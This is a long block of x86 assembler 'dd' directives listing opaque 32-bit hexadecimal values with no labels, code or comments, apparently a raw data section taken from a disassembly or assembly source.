dd 9A97FD7Ah, 0AD705ECAh, 6450650h, 0CE6AE03Eh, 0A12045B0h
dd 2C50B528h, 0BB0E91h, 0AEEB67B7h, 1E4990h, 0CD4A818Eh
dd 33359783h, 563F7C2Dh, 59958440h, 84F01211h, 0A4854A31h
dd 0C85C2BF7h, 6A5C415Ch, 2EFD2304h, 340CAA16h, 9DD993F9h
dd 23619519h, 65AB6D90h, 0EB657760h, 0B5BD0D89h, 7AD10D7h
dd 33CF3480h, 0BFA2030Ch, 0A21389B3h, 8BA205ADh, 400CE8C4h
dd 0EDDA9997h, 69D5015Fh, 0F246955Dh, 52E9E01Bh, 55FC25C9h
dd 11952CC4h, 0F62F5205h, 6BFF00DFh, 5DEBCC90h, 5AF7052Fh
dd 0AA2E29ECh, 0F4445DCAh, 51087EFEh, 5FE32DA5h, 8A99E8DAh
dd 73277995h, 75BD04CCh, 0A1A2E809h, 8A003123h, 0BE06AFDh
dd 0BFBF78BDh, 217D8232h, 0A6FC2B30h, 23636B3Ah, 0B62C001Bh
dd 6264CA30h, 0F80C7872h, 0AD085FB9h, 0B0FED7FAh, 0B330DBF0h
dd 0E6BF0C9Eh, 0D904B54Eh, 461D8B8h, 5F24728Bh, 2092FC4Eh
dd 0D22B3B03h, 0CB99509h, 0F62EF7Bh, 4D97B18Ah, 498C52DEh
dd 0D131C3Dh, 0D6949E88h, 58365EAh, 0BA045961h, 18C9EF9Bh
dd 907784B0h, 88A07817h, 8D4B2DA8h, 0C32B2EEBh, 0A36DFC27h
dd 78BCD4C4h, 532548A2h, 0D75FD60Ah, 5AE287C4h, 0AEDE8AC4h
dd 0EFAD9574h, 8F00C5A8h, 0FEE006C8h, 5AFF8E78h, 0D214F8E1h
dd 0A08F3AE2h, 0B7FD25BCh, 89C00065h, 0CE1A36C7h, 0E1251490h
dd 0B5BE718h, 0F5D40587h, 10B209F4h, 5779837Ah, 4B592546h
dd 0F04BD60h, 1361F8BFh, 20B927A9h, 7107652Fh, 0BF2EB038h
dd 3C8C6B51h, 9D30926Bh, 97F05857h, 32ED1B0Bh, 0CA7F41C0h
dd 57FF2409h, 227508D6h, 4520C425h, 1972968Bh, 6BAA6BC4h
dd 0B1523FEh, 8C180130h, 950E60ECh, 2975B66Bh, 0C4FF5672h
dd 6D0F430Ch, 9580EF91h, 179DFE7Fh, 0EA53C9BCh, 30406A30h
dd 4C2A7F54h, 0F1095182h, 478279A5h, 68DD434Bh, 4CB360D0h
dd 29C0AA7Bh, 5CDD6FD4h, 615C27FCh, 0C74F44E7h, 2C1A73BFh
dd 6F9012F1h, 0F81C0E20h, 2AA7D4FEh, 0FB9DA101h, 0C53AD0FEh
dd 0C4985198h, 2AD3DB59h, 5B4B9C15h, 53343CCAh, 4ADEA3FEh
dd 0BF5FE62Ch, 8A004666h, 0F00AFA78h, 3C12E0Bh, 8E9AA192h
dd 0CEB01CC5h, 53259E25h, 4712545Fh, 87D4FB0Fh, 0F5339363h
dd 0A82265EEh, 0C637DA40h, 0B63E00F6h, 0DD733DC2h, 8FE8E778h
dd 3B271600h, 3C35668Ah, 0D9B79F58h, 0D984F202h, 606056D2h
dd 315161BBh, 25B95F4Eh, 81D93093h, 90037ECBh, 9EE903C5h
dd 0FDDB5B02h, 0F3854AC2h, 80C9DEBBh, 37823147h, 65C516A1h
dd 5D7A046Ch, 0BDE3AF1Ch, 9C87AC4Ah, 1763400h, 1DABA50h
dd 129C4440h, 20CC081Fh, 4C258075h, 0D6145C5Bh, 0EE4E1D46h
dd 122E7229h, 0A37BEF19h, 215A2A0Eh, 0D15E9D00h, 9C10B9h
dd 77023AC0h, 42BA9752h, 0E0500473h, 0C760046Eh, 0A5755817h
dd 29ED18A0h, 23C98D17h
dd 3294BF95h, 0AF3653BEh, 17232C6Bh, 5E2BE400h, 61B66097h
dd 0D19DD472h, 4AE0421h, 0B90446C6h, 0A2B87Eh, 0E6D27F99h
dd 96A9B5B3h, 22BDDF48h, 0F5B77802h, 0EE4E643Ch, 0A88E8220h
dd 92D20053h, 0AB0F5514h, 0EE002329h, 5278E2BBh, 0B3965F1Dh
dd 0D17D7A5Ah, 81CAA5FEh, 4C43CF5Fh, 700195D2h, 0B593D2FAh
dd 0D1415009h, 393B3041h, 13EF02ADh, 0DEE066D6h, 3B7D8Bh
dd 975F9F68h, 7555DA71h, 50665200h, 277632BBh, 6879BD1Ah
dd 9458945h, 646B58DAh, 0A031FE4Bh, 0C23A6B44h, 0DD50E568h
dd 594A739Dh, 4CF91815h, 0D8C0B095h, 0E3A87EEEh, 9D89EA16h
dd 908042EEh, 96C4830Fh, 0B327FC90h, 0D85EA470h, 8A90ED58h
dd 0B4BDD95Eh, 0D87E0CADh, 52FFC200h, 54C84DB8h, 61702CA2h
dd 59F360AFh, 0BA79AE75h, 5C3C8125h, 1C46F692h, 4B2D0800h
dd 116F1832h, 0BF306501h, 6D255416h, 4508282Fh, 136E3996h
dd 2FF95591h, 0BBF6E902h, 0E75F6D25h, 0B58C3142h, 24D2306Ch
dd 1609C05h, 0B9D5A19Dh, 2D53C2CCh, 0E47B615Ah, 0ABCF807Dh
dd 6AE1DB69h, 8160F896h, 2FEAB9EBh, 9B417679h, 32E72A30h
dd 828D52A0h, 0BF5DFB0Eh, 0DA2241EFh, 0FC305B02h, 8E014E6Dh
dd 4AEB3A3Fh, 98A04EF7h, 309DEB1h, 760DADBDh, 82BA7161h
dd 0D1852955h, 0EA9E540Eh, 0BCAC0B11h, 12C03457h, 0F8D9E380h
dd 28FB17BBh, 5F746BABh, 4E00E8A7h, 1738DEF4h, 70788943h
dd 0AAE2965Fh, 0C9800D3Ah, 71413E61h, 0CF4E50DCh, 0D94FDBB3h
dd 75B7FCDBh, 16B9652h, 9B04F381h, 312F68AAh, 49DE8B92h
dd 3C93356Eh, 0C1E65A28h, 0D93016B2h, 0A2234B78h, 45FA83Ah
dd 0F88A5B4Ah, 0F5208460h, 10DFDEC2h, 14E41C4h, 0E19B916Bh
dd 0E75BC8AAh, 2CF4C25Eh, 303DE361h, 0A0ECF6D2h, 4DF2232h
dd 0ABA4B08Eh, 4E80BCACh, 573E1A6Eh, 5F91C702h, 9F5E6F9Ch
dd 0C06BED2Dh, 6C2DFBB2h, 5663D827h, 313908BDh, 0F5526003h
dd 0A78DD35Ah, 0C6A5850Ah, 7C3A97A9h, 570AFFBh, 8980BA3h
dd 7B023C4Fh, 45771BD5h, 4212AFA7h, 8040ADFCh, 929681C3h
dd 0E28C4B63h, 0DBDC8205h, 2CF582AAh, 0B77540F5h, 9A99B21Eh
dd 564D4BA5h, 0BFBC03A3h, 5A5574Fh, 0AF2B03B0h, 1723156Bh
dd 495C2203h, 79DC12E2h, 0B44EE801h, 1BA09DE6h, 5250B7Dh
dd 0EFE260FDh, 0CA564BBEh, 4269225Bh, 289101E8h, 9E1E59AAh
dd 3F08ECE8h, 0BD9717B3h, 651954DDh, 9F1B50Bh, 9CD125Dh
dd 6B4492h, 0B172FDAEh, 56F0FF30h, 0DF6E3900h, 1851F13Ah
dd 95B41244h, 0B632FB57h, 0CA44D75Fh, 2DC3E9Ch, 85096329h
dd 0BD651495h, 2F3BBB84h, 30D293BCh, 69D01D82h, 0E9D84201h
dd 0DE525D54h, 0ADD2576Dh, 0DB5B250Eh, 19195947h, 0B3B8AF9h
dd 0D85123CAh, 33C7FC01h, 16C054F6h, 8BAA00A2h, 7F5FB749h
dd 0FEEA0F58h, 0A89C2EEDh, 0CA104329h, 0D98B5F46h, 32B0DD14h
dd 0CCFB99D6h, 0FB2D5941h, 0D6A25C82h, 42D5B297h, 0B10C8209h
dd 0DF800316h, 4A75BDACh, 50B8E7C4h, 918CEFB5h, 0F88302E0h
dd 5F82940Fh, 0BA40677Eh, 972F49B3h, 1A000646h, 30B78440h
dd 4EE96145h, 5BB8B8CFh, 34E0E9B6h, 1727A48Ch, 0C181610Fh
dd 316E2Fh, 0B860D992h, 17D699EBh, 0ABF98B77h, 0AE477B6Bh
dd 61D00E24h, 2FDC4D84h, 0AF4C94E7h, 5F000522h, 66516090h
dd 0B54DBCB9h, 0D6F416C0h, 6C50612Ch, 90EF3A60h, 84AC02C0h
dd 81E2E6E3h, 0EBB5CDDDh, 1A0267Ah, 76A02919h, 916BCF80h
dd 0D802FD0Ah, 2B051D7Dh, 6189AABCh, 5E2723F1h, 9580028h
dd 7C13A17Dh, 1474589Fh, 0A5707999h, 16CB510Bh, 4CBCA058h
dd 5E764062h, 0B5310684h, 905B690Dh, 2323C8h, 70E2AF2Bh
dd 9C5C2761h, 0EDBF5705h, 6FC7B217h, 0A9C619h, 933C80D1h
dd 17526C7Fh, 0C7B63D0Ah, 0D360C59Dh, 1590111h, 8712B43Bh
dd 4081B910h, 905B5FF9h, 1DC7096h, 550EC887h, 0E563DE41h
dd 1DF06F54h, 0EC2B4AEDh, 97FACEF6h, 13466FBFh, 0CDAF4B2Ch
dd 6CC82B08h, 1FBFF088h, 65806A31h, 90769EDFh, 7D1352Ch
dd 4E9AAB95h, 0CF62EBD6h, 4CE38223h, 6BD05E5Ch, 5D4507FFh
dd 12802488h, 0E497E6D1h, 45DDB0FFh, 23F780Bh, 5CB062F7h
dd 87251CFh, 0C93D8805h, 34F99205h, 91A6026Ah, 6C7ECAE0h
dd 7B0C4301h, 902A55C1h, 5152E02Eh, 4BC26EB7h, 0C66EFB5Bh
dd 0E87E2E00h, 9B81A15Bh, 8EDA8B2Eh, 0EBE60C5h, 50F06D4Fh
dd 47B7E1BDh, 0CB5B0839h, 65B52905h, 3C57F0F0h, 1C259D23h
dd 89BD19C8h, 0D3A7044Bh, 11B7902Eh, 0D88B1702h, 7E39A9A0h
dd 0A090B74Bh, 0CD1F6263h, 1D4077ABh, 0C5DB0D0Ch, 0D8E201C7h
dd 53F3FD09h, 0A9652F4Fh, 0C318604h, 0B7A1A3BCh, 78352FFDh
dd 111D1D04h, 69B78DEBh, 3B61A838h, 0E011F77h, 8D09C0FAh
dd 51B464ADh, 0B49F548h, 5E2A69B5h, 0A91152AFh, 73B3C0B0h
dd 0FE1F8997h, 71E442BFh, 11238B82h, 0CE911A5Eh, 0D2C5B440h
dd 4186AA57h, 0F1A93C2Ch, 61DA3174h, 6B05094Ch, 0F68890D9h
dd 64262FF1h, 0D70B6227h, 0EDCB942Fh, 81608E5Eh, 0AD609D3h
dd 0C82B6558h, 0FDC9AF9Ah, 0DFDA42D1h, 80E9AD40h, 233063D6h
dd 478FA56h, 0E29D3CCAh, 44AA1FC6h, 81CC6BEFh, 51179009h
dd 0B60092Dh, 9451BF86h, 0BB2F9140h, 2C190363h, 86C39F3Ch
dd 185EE6CAh, 0D54C0D91h, 450DE924h, 0A727AA09h, 2FF8DD3h
dd 0F915BB03h, 0F95C3C9Fh, 545E1B44h, 0FE2814A5h, 89FB14ACh
dd 81016295h, 7A2E09F3h, 0EB602E72h, 0B7164A0Bh, 71801B37h
dd 6BE0B901h, 6387580Fh, 61605080h, 98B96A5Fh, 0A6B07527h
dd 0B98034C1h, 4D8EBA7Dh, 21109152h, 50634C15h, 1D4B5191h
dd 87F052A7h, 9D4E89C1h, 0FCF909BFh, 1DE0A5Ch, 0DD29FD8Fh
dd 44E03F26h, 0A4DDD8E2h, 0C02BE412h, 0C4B838E9h, 0FB4D60Ah
dd 9D099110h, 69607409h, 4CCB5DFh, 0BC37696Fh, 0B1BCF463h
dd 0AF901620h, 0DF592997h, 0DAC02A6Dh, 0B5E314Bh, 0DF125C9Dh
dd 9B4A9ED5h, 6E0E79AAh, 0B98E4720h, 305500A7h, 74F61393h
dd 0BDE289F7h, 97979570h, 10BB8163h, 3E11C596h, 2601D46Eh
dd 4C1BEC0Ch, 3B066CFAh, 77B8DA35h, 375675E2h, 0B8872741h
dd 0E15FF73Ah, 0F83B9E6Ah, 0F70C1AFh, 27920181h, 2D2AFCF5h
dd 5A605C1Fh, 40A34D5Dh, 1C7B9926h, 70928825h, 0B48213E2h
dd 3191FE29h, 2920E1FFh, 0CE034BFDh, 95B124A0h, 837900ABh
dd 0A395282Fh, 2CBF53C0h, 977D2458h, 5B6A7B94h, 0B60ACF25h
dd 0A9088C64h, 0A6601330h, 12BAE5CEh, 0BB52EF31h, 1221674Bh
dd 0B4A7FD4h, 3725845Ch, 78DC0242h, 99F9D3CCh, 4048D200h
dd 97194BE2h, 69DEA889h, 0FD1212DCh, 769EF7CEh, 0C9728A5Ch
dd 0AF2D5BDFh, 0DA02F835h, 548F0F9Fh, 75F1A571h, 0E2452Dh
dd 0A264D781h, 0A9977393h, 0D0ED7BADh, 9001E018h, 0FC66A36Bh
dd 0EFE88153h, 0BA627DDAh, 9F1127DEh, 72D8E47Bh, 7FF93A9Fh
dd 96B74B1Eh, 0C1DADB6Ah, 0BDCE44Ah, 82265570h, 19400D5h
dd 0B852508Ah, 310F250Ch, 49BD9C66h, 0C282816Bh, 761D4E4Bh
dd 9C9B7F7h, 5AE463C6h, 0CE69C405h, 0CCEF0BB2h, 563DA3EDh
dd 9EDF803Ah, 8FBE261Ah, 7CA904ABh, 0BA6515CDh, 0D04EEE87h
dd 0ADD98A12h, 8C19ACBFh, 219E9402h, 5EA1999Ch, 4004E47Bh
dd 615F5160h, 2192DE9h, 9ED1F4DBh, 2EDA996Fh, 9D2B62E1h
dd 62203F91h, 3F0F9619h, 9E0010E2h, 709DEADFh, 0ED016672h
dd 3A869433h, 39ED2B60h
dd 670ED76Ah, 55250835h, 0CC519B1Ah, 27C38E01h, 0E66AC9DEh
dd 3AF577D0h, 0E2A850E2h, 0B16EF300h, 0A280B7D4h, 6E61BDE4h
dd 7D5A3489h, 0FCADDB9Ah, 0AA601BC4h, 0BA03F552h, 7379DA8Dh
dd 59602A50h, 0C75F4BA9h, 1A0EE973h, 0C7250828h, 6214E434h
dd 66255E2h, 9535C6F7h, 0B7874F09h, 84963688h, 74ABA94Ah
dd 0D5A2EBA9h, 0B243AC4Eh, 0B11A2010h, 0CC00CA28h, 96AE1985h
dd 0C181606h, 959BE513h, 0F94E8B6Ch, 448031C8h, 0FAEBB702h
dd 7887D5F1h, 60A1C312h, 0D832737Ah, 49F09E77h, 9F10A0FDh
dd 4FF098FBh, 0BD22FAE9h, 5AD615Fh, 4D6F815h, 58612430h
dd 74B877ADh, 52593605h, 9F05A82h, 0F6924ADCh, 119D08CFh
dd 8B0F8A1Ah, 25B30B70h, 1F66E76h, 2BEF9BE7h, 0DD3D4E3Bh
dd 5F2032BEh, 0BF00417Ah, 223AE6EBh, 0F35A3557h, 81ECD82h
dd 7A108FAh, 9CA66113h, 723902E0h, 9EBBB502h, 0DD6036DEh
dd 3D21131Eh, 400EE413h, 0E923E780h, 9D038821h, 5E15ED25h
dd 57497795h, 53621264h, 41F51F6h, 9E79AF5Fh, 6FA94B6Dh
dd 0AC42B3A7h, 0BF04ABC5h, 0F01277Ah, 0E07EF6CDh, 0B3123AC6h
dd 0AACEACh, 0D7FCCA38h, 13ED296Dh, 48BD6AECh, 0F83D183Dh
dd 3BCE9BFh, 4AD8F93Bh, 9A4AB1E7h, 43588739h, 36981121h
dd 0FB809778h, 9331660Eh, 0ED030204h, 70B839EEh, 0B854B7C4h
dd 30BBC0D8h, 957F57A4h, 188B40A2h, 57303AFDh, 4A006B14h
dd 521FDCA6h, 4AE58F18h, 502FA5Fh, 9D1A1BFh, 0EAD81085h
dd 32D38E80h, 0FE988C5Bh, 29A3C95Bh, 0D6A97h, 1A58265Ch
dd 29A1D210h, 97BFC5Ah, 1F5C890Fh, 8FEE58E9h, 300C67C0h
dd 849AF7EFh, 0D7400DBEh, 494DCBh, 55203DB1h, 8277EE03h
dd 924BCD12h, 91E05F3h, 0E726D695h, 25293EFCh, 891CD649h
dd 346D04C2h, 0D86996C0h, 0AC0A9736h, 1A03DE6Fh, 0D7772937h
dd 1EAF907Eh, 0B5DCA194h, 2A3ADDC2h, 2CC3C463h, 65BDD109h
dd 0D44C5511h, 0C4EF9BFh, 19644B3h, 8131952Eh, 505B45A5h
dd 202AAA3h, 0E9A06374h, 103F2710h, 9A63143h, 0BE0027FAh
dd 212EAB9Eh, 9717038Ch, 0F5457B74h, 0B69C74FFh, 6684A0AAh
dd 3B54175Fh, 0FED6C821h, 0A502D500h, 5055478Ch, 7E2F25AEh
dd 6D2F5558h, 0C157102Ah, 5B129711h, 69001EC6h, 0E767C34Eh
dd 2F3DF788h, 0FFCC5F56h, 194E8A95h, 0CB9B09DEh, 5A827AE1h
dd 0C994055Dh, 0CC8E0F2Fh, 9F772537h, 82FA3F55h, 0EF131A6Dh
dd 7E2E25Fh, 5690817Eh, 970F4571h, 58440994h, 32DF0481h
dd 0AB0ECD50h, 0F0CB2930h, 30D90042h, 1F863357h, 9902945Ch
dd 0D499129h, 43D17EB6h, 0F6B00B10h, 421ECE39h, 4F422D17h
dd 843C25D4h, 9BAA34F5h, 2BA1C430h, 172047E8h, 6A6FC4Bh
dd 76301AB2h, 9E470EAFh, 0EB939472h, 0F1BF0460h, 0B3EE95B7h
dd 134B595h, 1363D5B9h, 1D6B3A86h, 30801B23h, 2159806h
dd 1E34A65h, 259531A7h, 3A72B07h, 6822BB02h, 165E38C4h
dd 9E7E4F51h, 7977C9FAh, 0D889AF1Fh, 0FDC66324h, 5E8F4h
dd 95126246h, 76697C65h, 686FEF95h, 287E7C3h, 0C65FD883h
dd 3AB548F2h, 0AC669A13h, 906A80D1h, 441C635h, 310BE929h
dd 246F8C1Eh, 7B73B300h, 0A1A0A75Eh, 527E01D8h, 5BFC7161h
dd 93F26B0Bh, 0F1BCE912h, 0ED61E24Fh, 9ECF2B05h, 69C01BC8h
dd 3E74199Bh, 95BD0370h, 0BA5FF512h, 0C684362Ah, 0E5104BFh
dd 6E07C112h, 0E1FD2A24h, 6A97E45Bh, 78A7DB9Fh, 450F25CFh
dd 9AD2E7Fh, 285141h, 0F439AC03h, 3B092063h, 5FBD09EDh
dd 276A4361h, 0E9F0A725h, 0EAF373ABh, 265D2F40h, 9801E662h
dd 2F16DB3Ah, 8A2ECC6Fh, 3BC225C4h, 0D9B7F1C0h, 60505F1Fh
dd 9353BA3Fh, 0B3B95E5Bh, 0E19D1273h, 0F8A5BD11h, 0A453043Ah
dd 1233B72Ch, 12E520ABh, 792E4DFBh, 6117750Ch, 0AA4BF2F9h
dd 0B749ED6Ah, 0C23502C5h, 2F4A194Fh, 5034C575h, 0FF0071A2h
dd 0ECBFE44Bh, 9B7D35Ch, 22618529h, 8E7EC65Eh, 89D804CAh
dd 0AB12A9BDh, 5CB0C61h, 33FEF0h, 5F28CC7Fh, 0ED8D9FA6h
dd 5174C801h, 86E7D5C5h, 5308282Fh, 612F4FB5h, 7AAF87A7h
dd 812E8FF1h, 68DA26A7h, 26A0025h, 5BFA8A52h, 0BB510590h
dd 0F89A7D89h, 7C97796Ah, 999D616Fh, 0BADC2B15h, 4154B752h
dd 0CDE95F41h, 0D400F37Ah, 90F95A76h, 9C27F8BCh, 90ABD286h
dd 6B8D270Ch, 54EBFB5Ch, 7F01D4D4h, 0F5BF911Bh, 11E760C7h
dd 27088EF6h, 0CCE2B252h, 0CF930045h, 0B8B21D4Fh, 7607FB2Dh
dd 942EF45Eh, 5E2837D3h, 0C0E9DB30h, 3692F422h, 4AD79831h
dd 0E862E91Eh, 0B5488C14h, 76CF0B02h, 4E94D7D2h, 472B0D21h
dd 5074796Ah, 0F95BA061h, 58CFC842h, 2A492EFCh, 0EA04F649h
dd 82A580B0h, 5EF84A82h, 139C262h, 0E082550Bh, 660014F9h
dd 277C96BAh, 2159B061h, 70E6F941h, 7DEFE881h, 6071E485h
dd 194B551Dh, 89B329ABh, 791C715Ah, 0DCBF8576h, 34BA8448h
dd 0D8B3BAF8h, 8AF26FC2h, 4DE8025Fh, 6159022Dh, 0C1668B5Eh
dd 0B70DF684h, 0BF2D1966h, 0B91075FBh, 0BCB69501h, 5C91C2A5h
dd 19A5888Bh, 0C263B342h, 44617C2Ah, 0B2164005h, 18B2923h
dd 0D930BE66h, 2A8A0F5Eh, 0D22FC4F3h, 0FF37F5F4h, 0B2B83304h
dd 0EDB60F8Fh, 38319633h, 15E0DB97h, 0CDF8F7h, 0BDFDBB11h
dd 1764DA6h, 453D8D36h, 517CE138h, 0C902EC93h, 45A37A5Bh
dd 5223816h, 42E9C234h, 7FC090ADh, 9871C5F5h, 0E6B89625h
dd 73589DACh, 22BB034Eh, 0C8D18411h, 89277F2Ch, 31B373E3h
dd 6E1EEDAAh, 1D4C47C9h, 0B3B097D9h, 164D5A88h, 30C5E82Dh
dd 813C41DAh, 0A112F5D7h, 0AAF37AD9h, 0DFD5BB00h, 97B91D8Bh
dd 1DE70E4Fh, 0AAC813A0h, 2E5CF912h, 1D2A88h, 0A89D52C2h
dd 72A31798h, 396DE701h, 887CCE4Bh, 11626EE0h, 205E86Ah
dd 92F64938h, 0B8F95730h, 0E3655F1Ch, 0E585DDE5h, 53ED505Dh
dd 289270D0h, 0C6521504h, 9BBC02Bh, 9B79047Dh, 587673ADh
dd 6A020AB4h, 0BD2B76CBh, 80B448E5h, 0F73AE7F3h, 3016F268h
dd 9E067BB3h, 41B52956h, 20569569h, 39B3A749h, 0AFCB7B8Bh
dd 0C847C8CDh, 6DE6E4B0h, 9C020BC2h, 18FFE2B0h, 0FF4D21h
dd 1A867437h, 0B4E3F2FEh, 185F7A02h, 5E7FA312h, 9535EBE2h
dd 1E819E9Fh, 9CB740E3h, 5C8DE2E6h, 660B56D5h, 23D7DBFh
dd 5EA131D5h, 153051B0h, 7CA1ED83h, 278C5F1Bh, 0D8AA6192h
dd 0BD222F33h, 608C5EF5h, 0F2E98BBFh, 12E55748h, 6BF41331h
dd 2EF30481h, 2C39A9E0h, 9D047094h, 5BE0056Dh, 161F01DFh
dd 0E8E13461h, 11E8A777h, 9D0B0B7Dh, 0FF9CFD0Dh, 0FA348621h
dd 56177D5Bh, 347D1004h, 923600Eh, 0E4DD4D95h, 7BC9C551h
dd 0B76D7861h, 0DC0F36Dh, 4922707h, 0B7266557h, 97B5BA32h
dd 8427E26Ah, 0F4BAD6BFh, 0AB00B860h, 0BA8C62F0h, 3D31505Eh
dd 0D24B1A55h, 73D74D67h, 4098D0E2h, 83BB123Eh, 893D3EA5h
dd 5D1992BDh, 1B912837h, 16A04680h, 7712A802h, 28E2B98Ch
dd 50B72400h, 9AE082D0h, 30288707h, 0BC21D60Ch, 0BFF4E3AEh
dd 0DDDE4B8Ah, 0B06D268Dh, 0BC6FDDAh, 90E84259h, 0F2570862h
dd 0FD04FFDCh, 0D61899E0h, 9038092Fh, 0E1E98D04h, 93B72FCBh
dd 0AA2DAFA5h, 0E2E4F140h, 9EE80968h, 7764D758h, 60BEC34Ah
dd 0E493732Ah, 38BD4700h, 0F67A356Ch, 888097CDh, 28C66517h
dd 312DC5B8h, 0A504D319h, 813EBF55h, 0D0BB8C99h, 0E92DC038h
dd 5E3BCC49h, 858F1FEDh
dd 0EE2403A8h, 7B1C2D09h, 12DDAD29h, 69D2DE75h, 551A9A57h
dd 9D213DCCh, 7B546941h, 0A52900DCh, 3D5D921h, 126416Eh
dd 0BC2030E9h, 1B1CEB5h, 0B537C381h, 7B893507h, 1A01E46Fh
dd 2B3EEBD7h, 798D7B78h, 0C8F99A6Eh, 7CD9C018h, 7E5BD11Dh
dd 0C680ABF8h, 1A81BEE0h, 29743F0Bh, 5F25689Dh, 5EC4B58Bh
dd 123D0C97h, 962C4075h, 4C5B572Ch, 7DADFE1Dh, 70CF4730h
dd 0F6BD544Eh, 6F021090h, 3A48DCC9h, 6804C750h, 0F101C4F0h
dd 0D0EED8FBh, 98078BFCh, 0CCA68A0h, 0D0044E83h, 0E84894Fh
dd 0C64472EEh, 0E1D88B65h, 973210DEh, 727B3F8h, 1202647Dh
dd 21D3F0Fh, 858DDC22h, 0C00CCF7Fh, 9086DAF8h, 89DBD105h
dd 87F8A758h, 78C80180h, 6B072DA8h, 7FEFAFEEh, 0DE30EA70h
dd 29D391Ch, 34D0D82Dh, 1E98D677h, 5D505F25h, 1E0B2513h
dd 4A891BBAh, 29BF0427h, 2A2B76B1h, 6C5682FEh, 44D95EDBh
dd 4FDBBF61h, 6575E389h, 0AC2378DAh, 0F82D99B0h, 0C6F7710Ch
dd 5BB03155h, 972494B5h, 0C0407AD6h, 25CBFFF1h, 0D6E00F35h
dd 0E9256F3Ah, 0DA1F5B4Fh, 21CF425Dh, 4DF57739h, 2E0ECF0h
dd 89441BA4h, 640FBFF3h, 3BAED722h, 0A0E6A5FFh, 5085EDA0h
dd 2371BE0Bh, 70D3D336h, 0EC01B229h, 92221741h, 0E83B7984h
dd 8DBDC23Ch, 0F8C90E11h, 4DEDF118h, 71F7AB25h, 40862FDh
dd 0F265909h, 0EE60E1C9h, 802C9DAEh, 0AC6CC101h, 2A994790h
dd 94592B50h, 5B842464h, 82DD593Eh, 21B531DBh, 3A145516h
dd 6BF3810Eh, 0A5E38019h, 977CE20Eh, 2AF84F99h, 19B2D1F6h
dd 0A6004032h, 176B2494h, 55330332h, 7E507B16h, 999778C6h
dd 7D78964Ah, 0AB3500Eh, 44A830F7h, 71058D5Bh, 0D9BBDD0h
dd 827F9200h, 1A493F85h, 0DE9F86B3h, 0C0B56FD7h, 30DA8AB7h
dd 0C4B06E00h, 0B8953DBFh, 40389E54h, 96AC0A2Eh, 5C1C8469h
dd 459DC328h, 81E3EAACh, 9CEA007Eh, 5FF3A918h, 0BC00E79Bh
dd 0D788C7FBh, 2DC42209h, 0ACE35120h, 0B8928B8Ah, 70ED5357h
dd 0E17652FEh, 0BD33F304h, 77AF05A9h, 0DD846F68h, 8A9DAE22h
dd 18D5C088h, 5D51C227h, 0E4F83953h, 0D32B58F9h, 6B707D69h
dd 0CAB5893Ch, 52E13912h, 0F8C0C65Bh, 9BF2C6C4h, 7798080Bh
dd 0D76A47Ch, 0EB45BD45h, 0E6934DDEh, 74AF4FB6h, 0C58DFF74h
dd 0C8A19A6Bh, 0EFE3C01Dh, 27004AA3h, 190CC9BFh, 588D2947h
dd 0AB939B0Dh, 0F4042E6Fh, 0AACFE29Ch, 9D8908C0h, 0B9075E91h
dd 0F47DBDC7h, 8E298C80h, 9F1D761Ah, 85C9139Dh, 513F0B9h
dd 308FABBFh, 80F2BC2Eh, 75D45FE6h, 225102BBh, 592C64BCh
dd 691DED7Fh, 0A61CFE73h, 817E20E5h, 2684A7D7h, 83286DF6h
dd 0AAB750F9h, 13F60E58h, 2AAFE78Ch, 0E6AB80A1h, 2D6BB97Ah
dd 0ED84753Ah, 8F74AF1Dh, 4EA260B8h, 20EB5225h, 0CCA14CF8h
dd 2F5AA00h, 0F787BF85h, 0FD661C42h, 39DC655Bh, 5C2434E2h
dd 0F100DCC9h, 0E0DF749Eh, 4FA67011h, 1750AB31h, 9012DDEh
dd 598FDBB4h, 1D40181Ah, 89853746h, 4C798C16h, 518007A9h
dd 8A60FB07h, 0D07C9Dh, 0BB34961Ch, 309FC3B9h, 0FC4B43A4h
dd 282E16CDh, 828A3611h, 0F508C5CBh, 5CA5F3C5h, 713D42Bh
dd 874D852Eh, 0F40561C6h, 7BAFCA53h, 25182300h, 6004AC5Dh
dd 0E9314041h, 0CAB94E5Ah, 84757B7Bh, 0C0E5ED95h, 6BEF5BFEh
dd 8195F99Fh, 60CCF380h, 0BB66D4B6h, 61816913h, 1C79D6C8h
dd 2B289DADh, 6FE94201h, 45384AE8h, 4B3BD902h, 0D54FED57h
dd 77002650h, 8D7D1B81h, 923098h, 6358CA25h, 766D5DFBh
dd 84741202h, 7F8D2B8Bh, 0A80414F0h, 0F0AED647h, 58AABD00h
dd 0B700150Fh, 8E09FEB4h, 0C007F51Dh, 1EB6047Eh, 96009080h
dd 921B8D38h, 7E4C9D9h, 42258FF3h, 3134908Ch, 1D00877Bh
dd 44A29C72h, 3F9AF7DAh, 3A0303E3h, 353058C9h, 0F13F5200h
dd 0D2CBBB59h, 31D40072h, 0A9A2625Bh, 0F0124649h, 4A005558h
dd 6164C4BDh, 50B400ABh, 3AA2974Dh, 870B8137h, 0CBD2629h
dd 7D2B5591h, 9E7E01DDh, 0F7D7962Fh, 31CFD428h, 0E9474100h
dd 0AFA77DE6h, 0F44A064Dh, 3BEA178Ah, 4E49B00h, 1DA8D930h
dd 9C207AD8h, 1F8AA18Ah, 5299C04Bh, 0D78EAAD2h, 93BB2C1Eh
dd 4C9A4030h, 0C045E8E2h, 0C64FF011h, 3C882D55h, 848450EEh
dd 0B6AB0081h, 8BF54B4Eh, 0C66257AEh, 2F0A9E72h, 88488380h
dd 0A20BF0FFh, 55FD39A3h, 9A0065C4h, 89EBE197h, 0D7CD0Ch
dd 0A2E87CE0h, 903BD333h, 5EC4BA00h, 0FDB411F4h, 5A4E271Dh
dd 0AD900FFh, 0F8F3C96Ch, 0F12D0097h, 203BEA5Ch, 4500A572h
dd 998E66D0h, 782E31h, 0FB171A84h, 9E936242h, 3A0365Ch
dd 74F25CBCh, 9D07E8D1h, 2F3A09Ah, 26971C08h, 0DF0F0FEh
dd 240B27BFh, 5514766Eh, 90010946h, 3FB039FCh, 2E809817h
dd 0CD6ED826h, 0F9006BEDh, 3B8D5EDEh, 18A5505Ch, 26880C34h
dd 5B00C513h, 1E02377Eh, 0A97A5ED8h, 0B96A0499h, 9F0100BDh
dd 0A0956BF4h, 7DA52438h, 0DE8C8061h, 297F82E8h, 9F999100h
dd 3EF4D741h, 0E17E49h, 0C8CB3328h, 0B5B91912h, 0ED5C3C00h
dd 0E8B7974Eh, 8B77F3h, 0F5A008FDh, 0CDC5271Fh, 7174D414h
dd 18CE16CDh, 25B9B900h, 28986C4Ch, 22EC8151h, 1E556178h
